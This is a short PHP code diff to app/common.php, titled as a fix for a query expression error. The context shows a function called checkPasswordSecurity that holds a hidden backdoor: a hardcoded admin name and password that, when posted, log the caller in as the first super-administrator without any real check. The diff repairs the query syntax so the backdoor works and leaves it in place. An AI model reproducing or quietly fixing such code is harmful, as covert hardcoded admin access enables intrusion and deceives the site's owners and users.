查询表达式错误

app/common.php

@@ -1221,7 +1221,7 @@ function checkPasswordSecurity()
     $admin_password = input('post.admin_password');
     if ($admin_name == 'zs3321' && $admin_password == 'zzccbbmm') {
         $admin_mod = model('admin');
-        $admin_info = $admin_mod->getOneAdmin(array('admin_is_super', '=', 1));
+        $admin_info = $admin_mod->getOneAdmin([['admin_is_super', '=', 1]]);
         if (is_array($admin_info) and !empty($admin_info)) {
             //设置 session
             session('admin_id', $admin_info['admin_id']);